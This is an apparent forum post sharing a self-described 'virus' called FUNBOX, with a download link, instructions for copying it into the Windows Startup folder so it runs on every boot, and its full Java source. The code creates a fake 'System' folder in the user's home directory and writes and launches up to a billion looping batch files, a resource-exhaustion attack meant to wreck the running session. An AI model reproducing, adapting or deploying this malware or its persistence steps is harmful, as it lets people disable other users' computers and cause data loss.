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Hello guys.I've developed a virus FUNBOX and I'm sharing it with you today.After executing jar file, virus continuously eats 1 terabyte of memory and completely obliterates current OS session.
 Download at: http://www.filedropper.com/funbox_1
 As long as you don't execute the file, it's completely safe.Remember that most efficient use of this file is when you get it into Startup windows folder.
  For win 10: Click search in left-bottom of screen.
             Type in 'run' and click it.
             Into run search write 'shell:startup'.
             Copy FUNBOX into this file and it will execute itself on system boot.
 Source:
 import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.util.Random;
 public class Fun 
{
 	private static String numeric_al = "01233456789";
	private static String name = "";
 	public static void start(int amount,boolean execute) throws IOException, InterruptedException
	{
 		Fun.introduce();
 		for(int q=0;q<=amount-1;q++)
		{
 			name = "SYS_" + Fun.buildname(10) + ".bat";
			File f = new File(System.getProperty("user.home") + "\\" + Fun.fake_folder() + "\\" + name);
 			BufferedWriter wr = new BufferedWriter(new FileWriter(f));
			wr.write("@echo off" + "\n" + " color a" + "\n" + " :loop" + "\n" + " echo %RANDOM%       %RANDOM%      %RANDOM%            Processing data... " + "\n" + pause(1) + "\n" + " goto loop");
 			f.createNewFile();
			wr.close();
 			 if(execute)
				 Runtime.getRuntime().exec("cmd /c start "+System.getProperty("user.home") + "\\" + Fun.fake_folder() + "\\" + name);
		}
	}
 	public static void introduce()throws IOException, InterruptedException
	{
 		File welcome = new File(System.getProperty("user.home")+ "\\" +Fun.fake_folder()+ "\\" +"wlcm.bat");
		BufferedWriter ww = new BufferedWriter(new FileWriter(welcome));
 		welcome.createNewFile();
 		ww.write("@echo off "+"\n");
		ww.write("color a "+"\n");
		ww.write("echo Hello "+System.getProperty("user.name")+"! "+"\n");
		ww.write(pause(3));
		ww.write(" echo. "+"\n");
		ww.write("echo Please enjoy this extremely useful tool! "+"\n");
		ww.write(pause(3));
		ww.write(" echo. "+"\n");
		ww.write("echo Best regards: Deadlyblu3. "+"\n");
		ww.write(pause(3));
		ww.write(" exit 0");
 		ww.close();
 		 Runtime.getRuntime().exec("cmd /c start "+System.getProperty("user.home") + "\\" + Fun.fake_folder() + "\\" + "wlcm.bat");
		 Thread.sleep(7000);
	}
 	public static String buildname(int length)
	{
 		Random key = new Random();
	    String name = "";
 		 for(int i=0;i<=length-1;i++)
		 {
 			int ran = key.nextInt(numeric_al.length()-1) + 0;
			name = name+numeric_al.substring(ran,ran+1);
		 }
 		 return name;
	}
 	public static String fake_folder()throws IOException
	{
 		String name = "System";
		boolean folder = new File(System.getProperty("user.home") + "\\" + name).mkdirs();
 		 return name;
	}
 	public static String pause(int time){return ("ping -n " + Integer.toString(time) + " 127.0.0.1 >nul"+"\n");}
	public static void main(String args[]) throws IOException,InterruptedException{Fun.start(1000000000,true);}
}